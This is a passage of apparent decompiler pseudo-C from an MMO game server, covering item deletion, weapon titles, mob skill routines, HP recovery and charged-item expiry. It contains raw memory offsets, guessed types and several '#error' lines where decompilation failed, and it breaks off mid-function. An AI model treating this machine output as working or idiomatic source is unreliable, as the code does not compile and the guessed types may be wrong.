ShineObjectClass::ShinePlayer::sp_SmallItemDelete(void *ecx0, ItemInform_ActionItem *this, __int16 a3, __int16 a4, int a5) { void *v5; // esi@1 int v6; // eax@2 unsigned int v7; // ecx@2 char *v8; // ecx@2 int v9; // eax@2 __int16 v10; // [sp+4h] [bp-88h]@2 int v11; // [sp+8h] [bp-84h]@1 ItemTotalInformation iti; // [sp+Ch] [bp-80h]@2 unsigned int v13; // [sp+7Ch] [bp-10h]@3 int v14; // [sp+88h] [bp-4h]@1 v5 = ecx0; v11 = (int)"ShineObjectClass::ShinePlayer::sp_SmallItemDelete"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( this ) { ItemInform_ActionItem::sii_Export(this, &iti); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1352))(v5); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v8[16] = 0; v9 = *((_WORD *)v5 + 2); v10 = (a3 << 10) | a4 & 0x3FF; ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, v9, &iti, &v10); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"); __security_check_cookie(v13); } // 501DE0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); //----- (005043A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet(void *this, __int16 mob) { void *v2; // esi@1 ItemTotalInformation *v3; // eax@1 WEAPON_TITLE_DATA *v4; // eax@2 WEAPON_TITLE_DATA *v5; // edi@2 ITEM_INVEN inv; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(v2, mob); v3 = (ItemTotalInformation *)(*(int (__thiscall **)(void *, ITEM_INVEN *))(*(_DWORD *)v2 + 1876))(v2, &inv); if ( v3 ) { v4 = CWeaponTitleZone::GetLevelData(&gWeaponTitle, mob, v3); v5 = v4; if ( v4 ) { *((_DWORD *)v2 + 1399) = v4->MinAdd; *((_DWORD *)v2 + 1400) = v4->MaxAdd; *((_DWORD *)v2 + 1404) = v4->MinAdd; *((_DWORD *)v2 + 1405) = v4->MaxAdd; ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v4->SP1_Reference, v4->SP1_Type, v4->SP1_Value); ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v5->SP2_Reference, v5->SP2_Type, v5->SP2_Value); ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v5->SP3_Reference, v5->SP3_Type, v5->SP3_Value); } } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"); } //----- (005044E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_Routine(void *this, int lst, __int16 handle) { int v3; // esi@1 signed int v4; // ebp@1 int v5; // ecx@3 char v6; // al@3 int v7; // edx@7 Parameter::Container *v8; // eax@7 bool v9; // zf@9 char v10; // al@9 unsigned int v12; // ecx@25 int v13; // eax@26 Parameter::Container *v14; // eax@29 int v15; // eax@33 int v16; // edx@33 int v17; // eax@34 int v18; // edi@36 int v19; // edx@38 int v20; // ecx@39 int v21; // ebp@44 int v22; // eax@44 Name4 *v23; // eax@44 int v24; // ecx@44 int v25; // eax@45 int v26; // edx@47 int v27; // eax@47 int v28; // edx@48 int v29; // eax@48 int v30; // ecx@48 int v31; // eax@48 int v32; // edx@48 int v33; // eax@49 int v34; // ecx@49 int v35; // edx@50 int v36; // edx@52 char *v37; // edi@58 int v38; // eax@58 int v39; // eax@58 int v40; // edx@58 char *v41; // edi@59 unsigned __int16 v42; // ax@59 char v43; // al@59 int v44; // eax@60 int v45; // edx@60 SKILL_EMPOWER *v46; // eax@61 int v47; // eax@64 int v48; // edi@64 int v49; // eax@68 int v50; // ecx@68 int v51; // edx@68 int v52; // ecx@68 int v53; // eax@68 int v54; // ecx@68 int v55; // eax@70 int v56; // edx@70 int v57; // edi@70 int v58; // edx@72 unsigned __int16 v59; // ax@72 int v60; // ecx@74 int v61; // [sp-18h] [bp-38h]@44 int v62; // [sp-14h] [bp-34h]@44 int v63; // [sp-10h] [bp-30h]@44 int v64; // [sp-Ch] [bp-2Ch]@33 int v65; // [sp-8h] [bp-28h]@33 int v66; // [sp-4h] [bp-24h]@13 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v68; // [sp+1Ch] [bp-4h]@1 v3 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_Routine"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Routine"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v68 = 0; SetItemData::SkillEffect::se_Clear(&setitemskilleffect); *(_BYTE *)(v3 + 7416) &= 0xFBu; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1136))(v3) && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1136))(v3) != 3 ) { v5 = *(_DWORD *)(v3 + 94); v6 = *(_BYTE *)(v5 + 4); if ( v6 != 3 && v6 != 2 ) *(_BYTE *)(v5 + 4) = 0; AbnormalStateContainer::AbstateListInObject::asl_Routine((void *)(v3 + 204), v3); if ( *(_BYTE *)(v3 + 3708) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 864))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 872))(v3); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 52))(v3, 1); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 1892))(v3); v7 = *(_DWORD *)v3; *(_BYTE *)(v3 + 3708) = 0; v8 = (Parameter::Container *)(*(int (__thiscall **)(int))(v7 + 1052))(v3); if ( Parameter::Container::IsNoAttacOrNoMove(v8) ) (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2164))(v3); } v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1136))(v3) == 4; v10 = *(_BYTE *)(v3 + 7416); if ( v9 ) { if ( v10 & 4 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2780))(v3) ) (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 1140))(v3); goto LABEL_13; } if ( v10 & 4 && !(*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1052))(v3) + 2348) & 1) ) ShineObjectClass::ShineMobileObject::smo_RunInFear((void *)v3); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2780))(v3) ) (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2784))(v3); if ( *(_DWORD *)(v3 + 172) <= 0u || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 40))(v3) ) *(_DWORD *)(v3 + 144) = 0; else MoveManager::mm_Step((MoveManager *)(v3 + 140), 0); v12 = *(_DWORD *)(v3 + 7172); if ( !v12 ) { LABEL_80: v66 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v13 = *(_DWORD *)(v3 + 7192); if ( !v13 ) { *(_DWORD *)(v3 + 7172) = 0; v68 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } if ( clockwatch.cw_CurrTick < v12 ) { v14 = (Parameter::Container *)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1052))(v3); if ( Parameter::Container::IsNoAttack(v14) || ShineObjectClass::ShineMobileObject::smo_SkillBlastOption((void *)v3) == 2 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2712))(v3); v66 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } goto LABEL_80; } (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 2748))(v3, **(_WORD **)(v13 + 4)); if ( *(_DWORD *)(v3 + 7196) ) { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 2704))(v3, *(_WORD *)(v3 + 7176)); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 2676))( v3, *(_WORD *)(v3 + 7176), *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v3 + 7192) + 4) + 195), 0, 0, 0); v15 = *(_WORD *)(v3 + 7176); v16 = *(_DWORD *)v3; v66 = 0; v65 = v15; v64 = 2; *(_DWORD *)(v3 + 7172) = 0; (*(void (__thiscall **)(int, int, int, int))(v16 + 2512))(v3, v64, v65, v66); v66 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v17 = *(_DWORD *)(v3 + 7204); if ( v17 ) { if ( **(_WORD **)v17 == unk_12510DB8 ) { v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 976))(v3); (*(void (__thiscall **)(int, _DWORD, int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 2676))( v3, *(_WORD *)(v3 + 7176), v18, 0, 0, 0); (*(void (__thiscall **)(int, _DWORD, int))(*(_DWORD *)v3 + 884))(v3, *(_WORD *)(v3 + 7176), v18); } else { (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 2676))( v3, *(_WORD *)(v3 + 7176), *(_DWORD *)(v3 + 7200), 0, 0, 0); } (*(void (__thiscall **)(int, _DWORD, _DWORD))(*(_DWORD *)v3 + 2708))( v3, *(_DWORD *)(v3 + 7204), *(_BYTE *)(v3 + 7208)); v19 = *(_DWORD *)v3; *(_DWORD *)(v3 + 7172) = 0; (*(void (__thiscall **)(int))(v19 + 2756))(v3); v66 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v20 = *(_DWORD *)(v3 + 7180); if ( v20 && !(unsigned __int8)(*(int (__stdcall **)(_DWORD))(*(_DWORD *)v20 + 1928))(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v3 + 7192) + 4) + 187)) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2712))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2692))(v3); v66 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } if ( !(unsigned __int8)(*(int (__thiscall **)(int, _DWORD, _DWORD, int))(*(_DWORD *)v3 + 2720))( v3, *(_WORD *)(v3 + 7176), *(_DWORD *)(v3 + 7192), v3 + 7212) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2712))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2692))(v3); v66 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v21 = *(_DWORD *)(v3 + 78); v66 = 65535; v65 = 0; v61 = (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe; v62 = 0; v63 = 0; v64 = 0; v22 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v22, v21, 0, 0, v61, v62, v63, v64, v65, v66); v23 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1352))(v3); NameString::operator__(&namestring, v23); v24 = *(_DWORD *)(v3 + 7180); if ( v24 ) v25 = (*(int (**)(void))(*(_DWORD *)v24 + 1716))(); else v25 = 65535; v26 = *(_DWORD *)v3; v66 = v25; (*(void (__thiscall **)(int, int))(v26 + 2700))(v3, v25); v27 = *(_DWORD *)(v3 + 7192); if ( *(_BYTE *)(v27 + 152) ) { v28 = *(_DWORD *)v3; v66 = v3 + 7212; v65 = v27; v64 = *(_WORD *)(v3 + 7176); (*(void (__thiscall **)(int, int, int, int))(v28 + 2724))(v3, v64, v27, v3 + 7212); v29 = *(_DWORD *)(v3 + 7192); v30 = *(_DWORD *)(v29 + 164); v31 = *(_DWORD *)(v29 + 156); v32 = *(_DWORD *)v3; v66 = v30; v65 = v31; (*(void (__thiscall **)(int, int, int))(v32 + 2688))(v3, v31, v30); } v33 = *(_DWORD *)(v3 + 7192); v34 = *(_DWORD *)(*(_DWORD *)(v33 + 4) + 499); if ( v34 == 6 ) { v35 = *(_DWORD *)v3; v66 = v3 + 7212; v65 = v33; v64 = *(_WORD *)(v3 + 7176); (*(void (__thiscall **)(int, int, int, int))(v35 + 2724))(v3, v64, v33, v3 + 7212); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 1672))(v3); } else { if ( v34 == 12 ) { v36 = *(_DWORD *)v3; v66 = v3 + 7212; v65 = v33; v64 = *(_WORD *)(v3 + 7176); (*(void (__thiscall **)(int, int, int, int))(v36 + 2724))(v3, v64, v33, v3 + 7212); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2360))(v3); } else { if ( *(_BYTE *)(v33 + 216) ) { v66 = *(_DWORD *)(v3 + 7192); ShineObjectClass::ShineMobileObject::smo_MagicFieldSpread(v3, v66); } else { if ( *(_WORD *)(v3 + 7176) == SkillDataBox::sdb_SpecSkillStruct(&skilldatabox)->ss_SummonMate ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 304))(v3) && *(_DWORD *)(v3 + 98) ) { v37 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 9) = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2300))(v3) + 33); v38 = *(_DWORD *)(v3 + 98); *(_DWORD *)(v37 + 13) = *(_DWORD *)v38; *(_DWORD *)(v37 + 17) = *(_DWORD *)(v38 + 4); *(_DWORD *)(v37 + 21) = *(_DWORD *)(v38 + 8); v39 = *(_DWORD *)(v3 + 78); *(_DWORD *)(v37 + 25) = *(_DWORD *)v39; v40 = *(_DWORD *)(v39 + 4); v66 = (int)v37; v65 = v3; *(_DWORD *)(v37 + 29) = v40; ZoneRingPacketSummonPartner::zrpb_Request(&zonringpack_summonpartner, (#331 *)v65, (NETCOMMAND *)v66); } ShineObjectClass::ShineMobileObject::smo_SkillResultPacket((void *)v3, *(_DWORD *)(v3 + 7192), v3 + 7184); v41 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9294; *((_WORD *)v41 + 1) = **(_WORD **)(*(_DWORD *)(v3 + 7192) + 4); *((_WORD *)v41 + 2) = *(_WORD *)(v3 + 4); v42 = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); v66 = 8; v65 = (int)"ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast : Packet Too Long"; v64 = 8; *((_WORD *)v41 + 3) = v42; v43 = ProtocolPacket::pp_SetPacketLen(&gpp, v64); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v43, (const char *)v65, v66) ) { v44 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); v45 = *(_DWORD *)v44; v66 = (int)&gpp; v65 = v3; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v45 + 12))(v44, v3, &gpp); } } else { v46 = *(SKILL_EMPOWER **)(v3 + 7180); if ( v46 ) { v66 = v3 + 7212; ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast((#331 *)v3, v46); } else { ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast((void *)v3, v3 + 7184, v3 + 7212); } } } } } v47 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1044))(v3); ++*(_DWORD *)(v47 + 16); v48 = 0; if ( *(_WORD *)(v3 + 7212) & 0xF000 ) v48 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v3 + 7192) + 4) + 4 * ((unsigned int)*(_WORD *)(v3 + 7212) >> 12) + 475); if ( ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet((void *)v3) ) { if ( *(_BYTE *)(v3 + 7416) & 0x10 ) goto LABEL_71; v49 = *(_DWORD *)(*(_DWORD *)(v3 + 7192) + 4); v50 = *(_DWORD *)(v49 + 203); v51 = *(_DWORD *)v3; v66 = v48; v65 = v50; v52 = *(_DWORD *)(v49 + 199); v53 = *(_DWORD *)(v49 + 195); v64 = v52; v54 = *(_WORD *)(v3 + 7176); v63 = v53; v62 = v54; (*(void (__thiscall **)(int, int, int, int, int, int))(v51 + 2676))(v3, v54, v53, v64, v65, v48); } if ( !(*(_BYTE *)(v3 + 7416) & 0x10) ) { v55 = *(_WORD *)(v3 + 7176); v56 = *(_DWORD *)v3; v57 = 0; v66 = 0; v65 = v55; v64 = 2; *(_DWORD *)(v3 + 7172) = 0; (*(void (__thiscall **)(int, int, int, int))(v56 + 2512))(v3, v64, v65, v66); LABEL_72: v58 = *(_DWORD *)v3; v66 = *(_WORD *)(**(_DWORD **)(v3 + 7192) + 73); (*(void (__thiscall **)(int, int))(v58 + 2696))(v3, v66); v59 = ridingskill; if ( ridingskill == -1 ) { v59 = BTree::operator__(&skillnametree, "UseRide"); ridingskill = v59; } v60 = *(_DWORD *)(v3 + 7192); if ( v60 == v57 ) *(_DWORD *)(v3 + 7172) = v57; if ( *(_DWORD *)v60 == v57 ) *(_DWORD *)(v3 + 7172) = v57; v4 = -1; if ( **(_WORD **)v60 == v59 ) *(_DWORD *)(v3 + 7172) = v57; goto LABEL_80; } LABEL_71: v57 = 0; goto LABEL_72; } LABEL_13: v66 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; LABEL_14: --funcallanalizer.fca_stackpoint; v68 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v66); return 1; } // 5126E0: using guessed type int __thiscall ShineObjectClass__ShineMobileObject__smo_MagicFieldSpread(_DWORD, _DWORD); //----- (00504C40) -------------------------------------------------------- #error "504C40: undefined or illegal type '#331' (funcsize=177)" //----- (00504EB0) -------------------------------------------------------- #error "504EB0: undefined or illegal type '#331' (funcsize=129)" //----- (00505060) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip(void *this) { void *v1; // esi@1 int v2; // ST04_4@5 int v3; // eax@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Container::c_MakeTotal((Parameter::Container *)((char *)v1 + 4008)); if ( *((_DWORD *)v1 + 8024) > (unsigned int)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1244))(v1) ) *((_DWORD *)v1 + 8024) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1244))(v1); if ( *((_DWORD *)v1 + 8025) > (unsigned int)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1248))(v1) ) *((_DWORD *)v1 + 8025) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1248))(v1); v2 = *(_DWORD *)((char *)v1 + 78); v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v3, v2, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); *((_DWORD *)v1 + 22482) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"); } //----- (00505326) -------------------------------------------------------- #error "505340: call analysis failed (funcsize=12)" //----- (00505345) -------------------------------------------------------- #error "505367: positive sp value has been found (funcsize=7)" //----- (00505380) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_DuringRecover(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned int v3; // edx@1 int v4; // edi@4 unsigned int v5; // eax@4 int v6; // edi@4 unsigned int v7; // eax@4 bool v8; // cf@4 int v9; // eax@6 int v10; // ST04_4@9 int v11; // eax@9 char *v12; // [sp-4h] [bp-12Ch]@3 ScriptInterrupt::InterruptHappenArgument arg; // [sp+14h] [bp-114h]@7 unsigned int cookie; // [sp+118h] [bp-10h]@11 int v15; // [sp+124h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_DuringRecover"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_DuringRecover"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v1 + 930) + 30; v15 = 0; if ( clockwatch.cw_CurrTick <= v3 ) { LABEL_10: v12 = "ShineObjectClass::ShineMob::sm_DuringRecover"; goto LABEL_11; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) != 3 ) { v4 = *(_DWORD *)v1; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1244))(v1); (*(void (__thiscall **)(void *, unsigned int))(v4 + 1424))(v1, v5 / 0xA); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 930) = clockwatch.cw_CurrTick; v7 = (*(int (__thiscall **)(void *))(v6 + 1248))(v1); (*(void (__thiscall **)(void *, unsigned int))(v6 + 1428))(v1, v7 / 0xA); v8 = *((_DWORD *)v1 + 1865) < *((_DWORD *)v1 + 932); *((_DWORD *)v1 + 931) = clockwatch.cw_CurrTick; if ( !v8 && *((_DWORD *)v1 + 1866) >= *((_DWORD *)v1 + 933) ) { v9 = *(_DWORD *)((char *)v1 + 98); *((_BYTE *)v1 + 8852) = 0; if ( v9 ) { *(_WORD *)&arg.npcclick.index[0] = *((_WORD *)v1 + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v9 + 68), ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull, &arg); } *((_BYTE *)v1 + 8864) |= 1u; } v10 = *(_DWORD *)((char *)v1 + 78); v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v11, v10, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); v2 = -1; goto LABEL_10; } *((_BYTE *)v1 + 8852) = 0; v12 = "ShineObjectClass::ShineMob::sm_DuringRecover"; LABEL_11: --funcallanalizer.fca_stackpoint; v15 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); __security_check_cookie(cookie); } //----- (00505540) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck(void *this, int a2, __int16 a3) { int v3; // esi@1 int v4; // ebp@1 ItemInform_ActionItem *v5; // eax@2 int v6; // edx@2 ItemInform_ActionItem *v7; // ebx@2 ShineDateTime *v8; // eax@3 unsigned int v9; // esi@4 unsigned int v10; // ecx@8 unsigned int v11; // ecx@10 unsigned int v12; // ecx@13 __int16 v13; // [sp-14h] [bp-30h]@7 __int16 v14; // [sp-10h] [bp-2Ch]@7 int v15; // [sp-Ch] [bp-28h]@7 void *v16; // [sp+8h] [bp-14h]@1 v16 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; v4 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 8))(a2) > 0 ) { while ( 1 ) { v5 = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, v4); v7 = v5; if ( !v5 || (v8 = ItemInform_ActionItem::sii_GetDeteleDateTime(v5)) == 0 || (v9 = v8->_bf0, (v6 = (unsigned __int8)v8->_bf0) == 0) || v6 > (unsigned int)(unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_19; if ( v6 < (unsigned int)(unsigned __int8)chargeditemcheck._bf0 ) break; v10 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F; v6 = (v9 >> 8) & 0x1F; if ( v6 <= v10 ) { if ( v6 < v10 ) goto LABEL_17; v11 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F; v6 = (v9 >> 13) & 0x3F; if ( v6 <= v11 ) { if ( v6 < v11 ) { v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } v12 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F; v6 = (v9 >> 19) & 0x3F; if ( v6 <= v12 ) { if ( v6 < v12 ) { v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } if ( (v9 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000) ) { LABEL_17: v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } } } } LABEL_19: v3 = a2; ++v4; if ( v4 >= (*(int (__fastcall **)(int, int))(*(_DWORD *)a2 + 8))(a2, v6) ) goto LABEL_20; } v15 = (int)v8; v14 = v4; v13 = a3; LABEL_18: ShineObjectClass::ShinePlayer::sp_SmallItemDelete(v16, v7, v13, v14, v15); goto LABEL_19; } LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"); } //----- (005056C0) -------------------------------------------------------- #error "5056C0: undefined or illegal type '#331' (funcsize=676)" //----- (005060A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_DuringBattle(void *this) { void *v1; // esi@1 int v2; // edx@1 int v3; // ecx@2 char v4; // al@6 int v5; // eax@6 unsigned __int16 v6; // ax@8 int v7; // edi@8 ListIteratorDefault arg; // [sp+Ch] [bp-14h]@6 char *v9; // [sp+10h] [bp-10h]@6 int v10; // [sp+1Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_DuringBattle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_DuringBattle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v10 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v2 + 1384))(v1) ) { if ( *((_DWORD *)v1 + 1865) < (unsigned int)(410 * *(_DWORD *)(**((_DWORD **)v1 + 1894) + 70)) >> 10 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1788))(v1); v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v6); if ( v7 ) { if ( !(*((_BYTE *)v1 + 8864) & 4) ) { MobChat::MobChatManager::mcm_HelpReqChat(&mobchatman); *((_BYTE *)v1 + 8864) |= 4u; } ShineObjectClass::ShineMob::sm_Scream4Rescue( (#331 *)v1, v7, *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1894) + 4) + 99), *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v1 + 1894) + 4) + 103)); } *((_BYTE *)v1 + 8864) &= 0xFEu; } } else { v3 = *(_DWORD *)((char *)v1 + 98); if ( v3 && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(v3 + 20), **(_DWORD **)((char *)v1 + 78), *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4)) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v1 + 98) + 20), **(_DWORD **)((char *)v1 + 78), *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4))) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2788))(v1); v4 = *((_BYTE *)v1 + 8864); *((_BYTE *)v1 + 8852) = *((_BYTE *)v1 + 8848) & 2; *((_BYTE *)v1 + 8864) = v4 & 0xFB; *((_DWORD *)v1 + 1902) = 0; 